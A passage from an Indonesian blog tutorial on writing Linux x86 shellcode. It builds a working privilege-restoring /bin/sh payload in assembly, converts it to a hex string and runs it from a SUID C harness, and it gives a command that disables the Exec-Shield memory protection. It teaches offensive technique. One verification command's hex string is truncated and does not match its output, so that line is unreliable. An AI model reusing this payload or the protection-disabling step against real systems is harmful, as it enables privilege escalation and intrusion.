			<content:encoded><![CDATA[<p style="text-align: justify;">Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.</p>
<p style="text-align: justify;"><strong>Shellcode, Exploit dan Vulnerability</strong></p>
<p style="text-align: justify;">Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  programmer sehingga programnya mengandung vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.</p>
<blockquote>
<p style="text-align: justify;">Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution</p>
</blockquote>
<p><span id="more-1668"></span></p>
<p style="text-align: justify;">Kenapa disebut shellcode? Bila hacker bisa membuat program mengeksekusi code apapun yang dia mau, maka code apakah yang dipilihnya? Pilihan terbaik adalah code yang memberikan dia shell sehingga dia bisa memberi perintah lain yang dia mau dengan leluasa. Oleh karena itu code itu disebut shell-code.</p>
<blockquote>
<p style="text-align: justify;">Bila diibaratkan misile: exploit adalah misilnya, sedangkan shellcode adalah warhead yang bisa diisi dengan apa saja seperti bahan peledak, nuklir, senjata kimiawi atau senjata biologis terserah keinginan penyerang.</p>
</blockquote>
<p style="text-align: justify;">Walaupun umumnya shellcode memberikan shell, shellcode tidak selalu memberikan shell. Attacker bebas menentukan code apa yang akan dieksekusi di komputer korban. Shellcode bisa melakukan apa saja mulai dari menghapus file, memformat hardisk, mengirimkan data, menginstall program baru dsb terserah keinginan attacker.</p>
<p><strong>Arbitrary Code Execution</strong></p>
<p align="justify">Arbitrary code execution adalah kondisi dimana attacker dapat menginjeksi sembarang code/instruksi ke dalam suatu proses yang sedang running, kemudian code tersebut dieksekusi. Code yang diinjeksi itu disebut dengan shellcode. Code dalam shellcode adalah dalam bentuk bahasa mesin atau opcode. Biasanya opcode ini tidak dituliskan dalam nilai binary karena akan menjadi sangat panjang, melainkan memakai nilai hexa yang lebih kompak.</p>
<p><strong>Antara Code dan Data</strong></p>
<p align="justify">
Sebenarnya code adalah data juga yang isinya adalah instruksi yang bisa dieksekusi komputer. Dalam memori, secara internal, data dan code tidak ada bedanya karena keduanya hanyalah untaian simbol 1 dan 0.</p>
<p align="justify">
Saya beri contoh simple: Apakah nilai 50 hexa atau 01010000 binary di suatu lokasi memori adalah code atau data?
</p>
<ul>
<li>Bila 50 hexa dianggap sebagai data bertipe karakter, maka itu adalah kode ascii untuk huruf &#8216;P&#8217;.</li>
<li>Bila 50 hexa dianggap sebagai code, maka itu adalah instruksi PUSH EAX (dalam mode 32 bit) atau PUSH AX (dalam mode 16 bit).</li>
</ul>
<p>
Begitu juga dengan string &#8220;ABCD&#8221;, bisa dianggap sebagai data maupun code, perhatikan contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;ABCD&quot;'|xxd
0000000: 4142 4344                                ABCD
$ perl -e 'print &quot;ABCD&quot;'|ndisasm -b 16 -
00000000  41                inc cx
00000001  42                inc dx
00000002  43                inc bx
00000003  44                inc sp
$ perl -e 'print &quot;ABCD&quot;'|ndisasm -b 32 -
00000000  41                inc ecx
00000001  42                inc edx
00000002  43                inc ebx
00000003  44                inc esp</pre></td></tr></table></div>

<p align="justify">
Dalam contoh di atas ABCD secara internal disimpan sebagai 0&#215;41, 0&#215;42, 0&#215;43 dan 0&#215;44, yaitu kode ASCII dari karakter &#8216;A&#8217;,'B&#8217;,'C&#8217;,'D&#8217; (lihat baris ke-2). Namun data yang sama bisa juga dianggap sebagai code 16 bit atau 32 bit seperti pada baris ke-4 s/d ke-7 untuk code 16 bit dan baris ke-9 s/d ke-12 untuk code 32 bit.
</p>
<p align="justify">
Sekarang pertanyaannya adalah kapan suatu data diperlakukan sebagai data dan kapan diperlakukan sebagai code? Jawabannya adalah ketika suatu data ditunjuk oleh instruction pointer, atau program counter yang biasanya ada pada register EIP (IP pada sistem 16 bit), maka data di lokasi itu adalah code yang akan dieksekusi.
</p>
<blockquote><p> Data apapun yang berada di lokasi memori yang alamatnya disimpan pada EIP akan dianggap sebagai code.</p></blockquote>
<p style="text-align: justify;">
Sebagai demonstrasi, program kecil di bawah ini menunjukkan bahwa sebuah data bisa juga dianggap sebagai code bila ditunjuk oleh EIP.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #993333;">char</span> str<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;ABCHIJK<span style="color: #660099; font-weight: bold;">\xc3</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// str as argument of printf()</span>
        <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>str<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// str()</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ</pre></div></div>

<p style="text-align: justify;">
Ada yang menarik dari program kecil di atas, yaitu pada variabel str yang berisi string ABCHIJK plus karakter berkode ASCII 0xc3. Pada baris ke-4, variabel str digunakan sebagai argument untuk fungsi printf(), dalam hal ini berarti str dianggap sebagai data. Sedangkan pada baris ke-5, str dipanggil seperti halnya fungsi, dalam hal ini str dianggap sebagai code. Perhatikan bahwa str sejatinya adalah bertipe pointer to char, namun bisa dipanggil seperti fungsi karena telah dicasting ke pointer to function dengan (void (*)(void)).
</p>
<p align="justify">
Dalam contoh di atas kita mengeksekusi code yang ada di variabel str, berarti kita mengeksekusi code yang berada di area data (bukan area code). Kernel sekarang banyak yang menerapkan proteksi sehingga kita tidak bisa mengeksekusi code yang tidak berada di area memori yang khusus untuk code. Dalam lingkungan windows, dikenal sebagai <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">Data Execution Prevention</a>, dan di Linux juga ada dikenal sebagai <a href="http://en.wikipedia.org/wiki/Exec_Shield">Exec-Shield</a>.
</p>
<blockquote><p>Agar contoh dalam artikel ini bisa bekerja, anda harus mematikan Exec-Shield :<br />
echo &#8220;0&#8243; > /proc/sys/kernel/exec-shield
</p></blockquote>
<p style="text-align: justify;">
Perhatikan gambar di bawah ini. Gambar tersebut adalah hasil disassemble dengan gdb. Terlihat bahwa str terletak di lokasi 0&#215;8049590. Pada &lt;main+24&gt; ada instruksi CALL yang merupakan pemanggilan fungsi printf() dengan str (0&#215;8049590) sebagai argumen fungsi. Dalam hal ini berarti str dianggap sebagai data bertipe string. Namun pada &lt;main+34&gt; ada instruksi CALL ke lokasi str, hal ini berarti program akan lompat (jump) ke lokasi str dan mengeksekusi instruksi yang ada di lokasi str. Dalam hal ini berarti str dianggap sebagai code. Perhatikan pula bahwa pada str saya menambahkan \xc3 di akhir str karena \xc3 adalah opcode instruksi RET sehingga program akan kembali ke fungsi main dan melanjutkan fungsi main sampai selesai.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/strascodeanddata.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/strascodeanddata.png" alt="strascodeanddata" title="strascodeanddata" width="599" height="563" class="aligncenter size-full wp-image-1858" /></a></p>
<p><strong>Mulai Membuat Shellcode</strong></p>
<p style="text-align: justify;">
Sebenarnya isi variable str pada program di atas adalah shellcode, jadi sebenarnya kita sudah berhasil membuat shellcode pertama. Selamat! <img src='http://www.ilmuhacking.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Namun shellcode yang kita buat tersebut tidak melakukan sesuatu yang berarti karena isinya hanya INC dan DEC kemudian RET. Namun dari contoh tersebut setidaknya kita sudah memahami bahwa shellcode tidak lain hanyalah string, yaitu kumpulan karakter yang juga merupakan opcode instruksi bahasa mesin.
</p>
<p style="text-align: justify;">
Sekarang kita akan mulai membuat shellcode yang benar-benar spawn sebuah shell. Dalam artikel sebelumnya mengenai <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">belajar assembly</a> saya sudah menjelaskan cara memanggil system call dengan interrupt 80 hexa. Shellcode yang akan kita buat berisi instruksi untuk memanggil system call. Perhatikan source bahasa C di bawah ini yang jika dieksekusi akan spawn shell.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/types.h&gt;</span>
<span style="color: #339933;">#include &lt;unistd.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span><span style="color: #339933;">*</span> args<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        setreuid<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        execve<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span>args<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Program di atas hanya memanggil system call setreuid() dan execve(). Shellcode yang akan kita buat juga akan melakukan hal yang sama seperti source di atas, bedanya hanya dibuat dalam assembly.
</p>
<p><b>System Call setreuid()</b></p>
<p style="text-align: justify;">
setreuid() digunakan untuk mengeset userID real dan efektif. System call ini sangat penting sebab program yang memiliki SUID bit, biasanya men-drop root privilege bila sudah tidak dibutuhkan lagi. Oleh karena itu kita harus mengembalikan privilege itu sebelum spawn shell. Deklarasi system call setreuid() adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id</pre></div></div>

<p style="text-align: justify;">
Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:</p>
<ul>
<li>EAX: 0&#215;46 atau 70 (Nomor system call dari file unistd.h)</li>
<li>EBX: 0&#215;0 (Parameter pertama, real uid yaitu 0)</li>
<li>ECX: 0&#215;0 (Parameter kedua, effective uid yaitu 0)</li>
</ul>
<p style="text-align: justify;">
Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; setreuid(0,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; EAX = 0x46</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>  <span style="color: #666666; font-style: italic;">; EBX = 0</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; ECX = 0</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p><b>System Call execve()</b></p>
<p style="text-align: justify;">
Execve adalah system call untuk mengeksekusi suatu executable. Semua data, variable, heap, stack dsb milik proses yang memanggil execve akan hilang dan digantikan dengan program yang baru dieksekusi. Namun processID, dan open file handle (termasuk stdout,stdin,stderr) diwariskan ke program yang baru dieksekusi. Deklarasi system call execve adalah seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">int execve(const char *filename, char *const argv[],char *const envp[]);</pre></div></div>

<p style="text-align: justify;">
Ada 3 argumen yang diperlukan, namun kita hanya akan memakai 2 argumen. Argumen envp kita isi dengan NULL karena kita tidak membutuhkan variabel environment. Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum memanggil interrupt adalah:
</p>
<ul>
<li>EAX: 0xb atau 11 (nomor system call)</li>
<li>EBX: alamat string &#8220;/bin/sh&#8221;</li>
<li>ECX: alamat array of string, {&#8220;/bin/sh&#8221;,NULL}</li>
<li>EDX: 0 karena envp diisi NULL.</li>
</ul>
<p align="justify">
Potongan assembly di bawah ini memanggil system call execve untuk mengeksekusi /bin/sh.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; execve(&quot;/bin/sh&quot;,{&quot;/bin/sh&quot;,0x0},0x0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push &quot;//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = ESP = &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = ESP = {&quot;/bin//sh\x0&quot;,0x0}</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; EDX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; EAX = 0xb</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename1.png" alt="stackfilename" title="stackfilename" width="486" height="293" class="aligncenter size-full wp-image-1877" /></a></p>
<p align="justify">
EBX harus diisi dengan address string berisi nama file executable yang akan dieksekusi. Kita gunakan stack untuk membuat string &#8220;/bin//sh&#8221; seperti pada gambar di atas. Dengan cara ini kita akan mendapatkan address string executable filename pada register ESP. Isi ESP ini kemudian disalin ke register EBX. Mungkin ada yang mengira ada kesalahan ketik dalam string tersebut, karena ada double slash sebelum &#8220;sh&#8221;. Ini bukan kesalahan ketik, namun sengaja agar pada saat push tepat mempush 4 byte (&#8220;//sh&#8221;), dan kelebihan satu slash tidak jadi masalah.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename2.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename2.png" alt="stackfilename" title="stackfilename" width="421" height="204" class="aligncenter size-full wp-image-1880" /></a></p>
<p align="justify">
ECX harus diisi dengan array of string {&#8220;/bin//sh&#8221;,NULL}. Sekali lagi kita juga memakai stack dan register EBX yang sebelumnya sudah berisi address string &#8220;/bin//sh&#8221;. Pada gambar di atas pertama kita harus mempush NULL (0&#215;0) ke dalam stack sebagai elemen array index ke-1, kemudian diikuti dengan mempush address string &#8220;/bin//sh&#8221; dari EBX sebagai elemen array index ke-0. Dengan cara ini ESP akan berisi address array of string {&#8220;/bin//sh&#8221;,NULL}. Nilai ESP inilah yang disalin ke register ECX.
</p>
<p><b>Shellcode dalam Assembly</b></p>
<p align="justify">
Mari kita gabungkan potongan-potongan assembly di atas untuk membentuk shellcode yang utuh seperti pada source code assembly di bawah ini.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; setreuid(0,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; EAX = 0x46</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>  <span style="color: #666666; font-style: italic;">; EBX = 0</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; ECX = 0</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; execve(&quot;/bin/sh&quot;,{&quot;/bin/sh&quot;,0x0},0x0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push &quot;//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = ESP = &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = ESP = {&quot;/bin//sh\x0&quot;,0x0}</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; EDX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; EAX = 0xb</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p align="justify">
Mari kita compile dan link source assembly di atas.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">$ nasm <span style="color: #339933;">-</span>f elf basicshellcode<span style="color: #339933;">.</span>asm
$ ld <span style="color: #339933;">-</span>o basicshellcode basicshellcode<span style="color: #339933;">.</span>o
$ sudo chown root<span style="color: #339933;">:</span>root basicshellcode<span style="color: #666666; font-style: italic;">;sudo chmod 4755 basicshellcode</span>
Password<span style="color: #339933;">:</span>
$ ls <span style="color: #339933;">-</span>l basicshellcode
<span style="color: #339933;">-</span>rwsr<span style="color: #339933;">-</span>xr<span style="color: #339933;">-</span>x <span style="color: #0000ff;">1</span> root root <span style="color: #0000ff;">623</span> <span style="color: #00007f; font-weight: bold;">Dec</span>  <span style="color: #0000ff;">3</span> <span style="color: #0000ff;">14</span><span style="color: #339933;">:</span><span style="color: #0000ff;">52</span> basicshellcode
$ <span style="color: #339933;">./</span>basicshellcode
sh<span style="color: #339933;">-</span><span style="color: #0000ff;">3.2</span># whoami
root
sh<span style="color: #339933;">-</span><span style="color: #0000ff;">3.2</span># <span style="color: #000000; font-weight: bold;">exit</span></pre></td></tr></table></div>

<p><b>Converting OBJDUMP Output to Shellcode</b></p>
<p align="justify">
Hore berhasil! Sekarang tahap finishing, yaitu mengambil opcode dari program di atas. Kita gunakan objdump untuk ini.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -M intel -d -j .text ./basicshellcode
&nbsp;
./basicshellcode:     file format elf32-i386
&nbsp;
Disassembly of section .text:
&nbsp;
08048060 &lt;_start&gt;:
 8048060:       31 c0                   xor    eax,eax
 8048062:       b0 46                   mov    al,0x46
 8048064:       31 db                   xor    ebx,ebx
 8048066:       31 c9                   xor    ecx,ecx
 8048068:       cd 80                   int    0x80
 804806a:       31 c0                   xor    eax,eax
 804806c:       50                      push   eax
 804806d:       68 2f 2f 73 68          push   0x68732f2f
 8048072:       68 2f 62 69 6e          push   0x6e69622f
 8048077:       89 e3                   mov    ebx,esp
 8048079:       50                      push   eax
 804807a:       53                      push   ebx
 804807b:       89 e1                   mov    ecx,esp
 804807d:       31 d2                   xor    edx,edx
 804807f:       b0 0b                   mov    al,0xb
 8048081:       cd 80                   int    0x80</pre></div></div>

<p align="justify">
Dari output objdump di atas, kita hanya perlu mengambil opcode dalam kolom yang ditengah kemudian menggandengnya menjadi sebuah string. Untuk memudahkan mengambil opcode saya membuat script satu baris berikut:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Mari kita verifikasi sekali lagi dengan perl dan ndisasm.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;' |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  31C0              xor eax,eax
0000000C  50                push eax
0000000D  682F2F7368        push dword 0x68732f2f
00000012  682F62696E        push dword 0x6e69622f
00000017  89E3              mov ebx,esp
00000019  50                push eax
0000001A  53                push ebx
0000001B  89E1              mov ecx,esp
0000001D  31D2              xor edx,edx
0000001F  B00B              mov al,0xb
00000021  CD80              int 0x80</pre></div></div>

<p align="justify">
Hasilnya sama, berarti shellcode tersebut benar. Sekarang kita lanjutkan dengan mengeksekusi shellcode tersebut dengan program C di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span>&quot;</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// shellcode()</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec  3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit</pre></div></div>

<p align="justify">
Oke, selamat kita telah berhasil membuat shellcode yang menghasilkan shell di local. Pada bagian ke-2, saya akan menjelaskan pembuatan shellcode untuk remote exploit.</p>
<div class="feedflare">
